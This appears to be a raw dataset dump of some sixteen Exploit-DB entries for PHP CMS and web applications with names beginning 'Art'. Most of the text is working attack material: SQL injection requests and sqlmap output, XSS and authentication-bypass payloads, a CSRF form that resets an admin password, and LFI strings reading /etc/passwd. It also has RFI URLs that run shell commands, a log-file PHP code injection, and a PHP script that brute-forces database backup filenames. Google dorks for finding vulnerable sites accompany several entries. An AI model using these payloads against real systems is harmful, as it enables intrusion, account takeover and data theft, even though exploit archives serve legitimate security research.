deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35857
Description: ArticleFR CMS 3.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2015-01-21
Author: TranDinhTien

Exploit:
# Exploit Title: SQL injection vulnerability in articleFR CMS 3.0.5
# Google Dork: N/A
# Date: 01/21/2015
# Exploit Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team (www.itas.vn)
# Vendor Homepage: http://freereprintables.com
# Software Link: https://github.com/articlefr/articleFR
# Version: version 3.0.5 
# Tested on: Linux
# CVE : N/A

::PROOF OF CONCEPT::

- REQUEST:

POST /articlefr/register/ HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.org/articlefr/register/
Cookie: _ga=GA1.2.884[PII_REDACTED]214773; __unam=bd22dea-14a6fcadd31-42cba495-31; GEAR=local-5422433b500446ead50002d4; PHPSESSID=8a9r8t1d5g9veogj6er9fvev63; _gat=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

username=[SQL INJECTION HERE]&email=test2%40itas.vn&name=test&[CREDENTIAL_REDACTED]=register

- Vulnerable file: articleFR/system/profile.functions.php
- Vulnerable parameter: username
- Query: SELECT id, username, name, password, email, website, blog, date, isactive, activekey, membership FROM users WHERE username ='[Injection HERE]'
- Vulnerable function:
function getProfile($_username, $_connection) {
$_q = "SELECT id, username, name, password, email, website, blog, date, isactive, activekey, membership FROM users WHERE username = '" . $_username . "'";
$_result = single_resulti($_q, $_connection);

$_retval['id'] = $_result['id'];
$_retval['name'] = $_result['name'];
$_retval['username'] = $_result['username'];
$_retval['password'] = $_result['password'];
$_retval['email'] = $_result['email'];
$_retval['website'] = $_result['website'];
$_retval['blog'] = $_result['blog'];
$_retval['date'] = $_result['date'];
$_retval['isactive'] = $_result['isactive'];
$_retval['activekey'] = $_result['activekey'];
$_retval['membership'] = $_result['membership'];

return $_retval;
}
Exploit-DB #10813
Description: ArticleLive PHP 2005.0.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : ArticleLive PHP Version 2005.0.0 Cross Site Scripting Vulnerability     |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Interspire ArticleLive 2005 Copyright Interspire                        |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/lgc-alpn/admin/index.php?ToDo=processLogin?username=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&[CREDENTIAL_REDACTED]=Login
| 2- http://127.0.0.1/lgc-alpn/admin/index.php?ToDo=processLogin?username=test&password=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&SubmitButton=Login
| 
================================   Dz-Ghost Team   ========================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #34285
Description: Articlems 2.0 - 'c[]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-13
Author: Packetdeath

Exploit:
source: https://www.securityfocus.com/bid/41511/info

ArticleMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ArticleMS 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/search/?a=search&q=PACKETDEATH&advanced=1&sortby=0&finddate=0&c[]=[XSS]
Exploit-DB #12445
Description: Articles Directory - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-29
Author: Sid3^effects

Exploit:
# Exploit Title:Authenication Bypass Vulnerability in Articles Directory
# Version: Web Application
# vendor :http://www.yourarticlesdirectory.com/
# Date: 29 apr,2010
# Dork:Powered by Article Directory
# Author:Sid3^effects
# Code :
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
Your Articles Directory is the most innovative state of the art solution you need to launch a

customizable content driven web site in the shortest period of time. From user-friendly customization

options to easy content creation process, Your Articles Directory prides itself in content authoring

for its users... regardless of technical limitations.


############################################################################

Xploit : AUthenication Bypass Vulnerability

       By using the following combo ' or 1=1 or ''=' the attacker can login

 In the login option:
 
 http://server/designs/gator/
 

###################################//EoF\\###################################


#Sid3^effects
Exploit-DB #28564
Description: ArticleSetup - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-26
Author: DevilScreaM

Exploit:
#Exploit Title 		: ArticleSetup Multiple Vulnerabilities
#Author 		: DevilScreaM
#Date   		: 21/09/2013
#Category		: Web Applications 
#Vendor 		: http://www.articlesetup.com/
#Version 		: 1.0

#Dork 			
intext:Powered By Article Marketing

#Vulnerability  	: Cross Site Scripting , SQL Injection
#Tested On 		: Windows 7, Ubuntu (Mozila & Chrome)
#Greetz                 : Newbie-Security.or.id, Banjarmasin Hacker, Borneo Hacker


Cross Site Scripting

http://site-target/search.php?s=[XSS]


#XSS at Page Admin

http://site-target/admin/search.php?s=<script>alert('DevilScreaM')</script>


===================================================================================

SQL Injection Vulnerability

http://site-target/feed.php?cat=[SQL Injection]
http://site-target/search.php?s=[SQL Injection]

Example

http://site-target/feed.php?cat=100'
http://site-target/search.php?s=123'

====================================================================================
Exploit-DB #39889
Description: ArticleSetup 1.00 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2016-06-06
Author: Ali Ghanbari

Exploit:
<!--
# Exploit Title : ArticleSetup 1.00 - CSRF Change Admin Password
# Google Dork   : inurl:/article.php?id= intext:Powered By Article Marketing
# Date: 2016/06/04
# Exploit Author: Ali Ghanbari
# Vendor Homepage: http://articlesetup.com/
# Software Link: http://www.ArticleSetup.com/downloads/ArticleSetup-Latest.zip
# Version: 1.00

#Desc:

When admin click on malicious link , attacker can login as a new
Administrator
with the credentials detailed below.

#Exploit:
-->

<html>
 <body>
  <form method="post"  action="
http://localhost/{PACH}/admin/adminsettings.php">
      <input type="hidden" name="update" value="1">
      <input type="hidden" name="pass1" type="hidden" value="12345678" >
      <input type="hidden" name="pass2" type="hidden" value="12345678" >
      <input type="submit" value="create">
  </form>
 </body>
</html>

<!--
####################################

[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007
-->
Exploit-DB #37217
Description: ArtiPHP 5.5.0 Neo - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-17
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/53586/info

Artiphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Artiphp 5.5.0 Neo is vulnerable; other versions may also be affected. 

POST /artpublic/recommandation/index.php HTTP/1.1
Content-Length: 619
Content-Type: application/x-www-form-urlencoded
Cookie: ARTI=tsouvg67cld88k9ihbqfgk3k77
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

add_img_name_post			"onmouseover=prompt(1) joxy
adresse_destinataire			
adresse_expediteur			lab%40zeroscience.mk
asciiart_post				"onmouseover=prompt(2) joxy
expediteur				"onmouseover=prompt(3) joxy
message					Hello%20World
message1				%ef%bf%bd%20Recommand%20%ef%bf%bd%0a%bb%20http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
send					Send
titre_sav				"onmouseover=prompt(4) joxy
url_sav					http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
z39d27af885b32758ac0e7d4014a61561	"onmouseover=prompt(5) joxy
zd178e6cdc57b8d6ba3024675f443e920	2
Exploit-DB #18889
Description: Artiphp CMS 5.5.0 - Database Backup Disclosure
Type: webapps
Platform: php
Date: 2012-05-16
Author: LiquidWorm

Exploit:
<?php

/*

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit


Vendor: Artiphp
Product web page: http://www.artiphp.com
Affected version: 5.5.0 Neo (r422)

Summary: Artiphp is a content management system (CMS) open
and free to create and manage your website.

Desc: Artiphp stores database backups using backupDB() utility
with a predictable file name inside the web root, which can be
exploited to disclose sensitive information by downloading the
file. The backup is located in '/artzone/artpublic/database/'
directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.8 / 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5091
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php


15.05.2012

*/

error_reporting(0);

print "\no==========================================================o\n";
print "|                                                          |";
print "\n|\tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit     |\n";
print "|                                                          |\n";
print "|\t\t\tby LiquidWorm                      |\n";
print "|                                                          |";
print "\no==========================================================o\n";

if ($argc < 3)
{
    print "\n\n\x20[*] Usage: php $argv[0] <host> <port>\n\n\n";
    die();
}

$godina_array = array('2012','2011','2010');

$mesec_array = array('12','11','10','09',
		     '08','07','06','05',
		     '04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
		  '25','24','23','22','21','20',
		  '19','18','17','16','15','14',
		  '13','12','11','10','09','08',
		  '07','06','05','04','03','02',
		  '01');

$backup_array = array('full','structure','partial');

$host = $argv[1];
$port = intval($argv[2]);
$path = "/artiphp/artzone/artpublic/database/"; // change per need.

$alert1 = "\033[0;31m";
$alert2 = "\033[0;37m";

foreach($godina_array as $godina)
{
	print "\n\n\x20[*] Checking year: ".$godina."\n\n Scanning: ";
	sleep(2);
	foreach($mesec_array as $mesec)
	{
		foreach($dn_array as $dn)
		{
			print "~";
			foreach($backup_array as $backup)
			{
				if(file_get_contents("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz"))
				{
					print "\n\n\x20[!] DB backup file discovered!\n\n";
					echo $alert1;
					print "\x20==>\x20";
					echo $alert2;
					die("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz\n");
				}
			}
		}
	}
}

print "\n\n\x20[*] Zero findings.\n\n\n"

?>
Exploit-DB #33749
Description: ARTIS ABTON CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-03-11
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/38658/info

ARTIS ABTON CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example URIs are available:

http://www.example.com/rus/details/â??+benchmark(10000,md5(now()))+â??/

http://www.example.com/rus/referaty/1'+benchmark(10000,md5(now()))-â??1/

http://www.example.com/rus/â??+benchmark(10000,md5(now()))+â??/
Exploit-DB #4538
Description: Artmedic CMS 3.4 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-16
Author: iNs

Exploit:
#######################################
X---- w w w . u N k n 0 w n . e u ----X
#######################################

artmedic CMS Local File Inclusion

::Home:
artmedic-cms.de

::Vuln Type :
 LFI

::Discovered by :
 iNs


PoC:
http://server/cms/index.php?page=[LFI]
http://server/index.php?page=[LFI]

d0rK:
CMS von artmedic webdesign


:: iNs ::

::Gr33tz t0:
uNkn0wn.eu - iD - Stel128 - Spitfire - fEaRz - R1der - Stranger21 -
nexos - sh4m4n - Svarshik - naxx - phew - Z
DRT Memb3rz - s[H]4g - deL - l10m - l1l - r00tm1nd - f|_|ck3r - p1mmy
ActiveSpy.org - ActiveSpy - steve10120 - lord - polifemo - craw -
Xplorer_eX - antik
idscript2003
PitBull Crew - The_PitBull - MaxDeMon - SancheZ - RedBull - ResellerZ
- r0x00k - c0ol
milw0rm.com - str0ke
darkc0de.com - d3hydr8

# milw0rm.com [2007-10-16]
Exploit-DB #27767
Description: Artmedic Event - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-28
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17736/info

Artmedic Event is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/event/index.php?page=evilcode.txt?&cmd=uname -a
Exploit-DB #28594
Description: Artmedic Links 5.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-16
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/20064/info

The 'artmedic links' application is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 5.0; other versions may also be vulnerable.

http://www.example.com/[scriptpath]/index.php?id=y0urscripts.txt?&cmd=id
Exploit-DB #27900
Description: Artmedic NewsLetter 4.1 - 'Log.php' Remote Script Execution
Type: webapps
Platform: php
Date: 2006-05-19
Author: C.Schmitz

Exploit:
source: https://www.securityfocus.com/bid/18047/info

Artmedic Newsletter is prone to a remote PHP code-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to create files containing arbitrary content that can include arbitrary malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. Attackers may also remove arbitrary log files, assisting them in obscuring their actions.

Version 4.1 of the software is vulnerable to this issue; other versions may also be affected.

http://www.example.com/log.php?logfile=info.php&logtime=000060&email=<?%20require($cur);%20echo%20$password%20?> http://www.example.com/log.php?logfile=info.php&logtime=000000
Exploit-DB #31201
Description: artmedic webdesign weblog - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-02-14
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/27797/info

artmedic webdesign weblog is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application. 

http://www.example.com/artmedic_weblog/index.php?ta=../../../../../../../../../../etc/passwd%00
http://www.example.com/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00
Exploit-DB #5116
Description: artmedic weblog 1.0 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-02-14
Author: muuratsalo

Exploit:
artmedic weblog multiple local file inclusion vulnerabilities 

download   http://artmedic-phpscripts.de/index.php?did=artmedic_weblog.zip

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits   
http://localhost/artmedic_weblog/index.php?ta=../../../../../../../../../../etc/passwd%00
http://localhost/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-02-14]
Exploit-DB #49319
Description: Artworks Gallery Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-22
Author: Vijay Sachdeva

Exploit:
# Exploit Title: Artworks Gallery Management System 1.0 - 'id' SQL Injection
# Exploit Author: Vijay Sachdeva
# Date: 2020-12-22
# Vendor Homepage: https://www.sourcecodester.com/php/14634/artworks-gallery-management-system-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14634&title=Artworks+Gallery+Management+System+in+PHP+with+Full+Source+Code
# Affected Version: Version 1
# Tested on Kali Linux

Step 1. Log in to the application with admin credentials.

Step 2. Click on "Explore" and then select "Artworks".

Step 3. Choose any item, the URL should be "

http://localhost/art-bay/info_art.php?id=6

Step 4. Run sqlmap on the URL where the "id" parameter is given


sqlmap -u "http://192.168.1.240/art-bay/info_art.php?id=8" --banner

---


Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=8 AND 4531=4531


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=8 AND (SELECT 7972 FROM (SELECT(SLEEP(5)))wPdG)


    Type: UNION query

    Title: Generic UNION query (NULL) - 9 columns

    Payload: id=8 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b627171,0x[PII_REDACTED]6f41476e584f4a66614e445968714d427647756f6f[PII_REDACTED]6e756f[PII_REDACTED]6c,0x716a6b6b71)--
-

---

[08:18:34] [INFO] the back-end DBMS is MySQL

[08:18:34] [INFO] fetching banner

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

banner: '10.3.24-MariaDB-2'


---


Step 5. Sqlmap should inject the web-app successfully which leads to
information disclosure.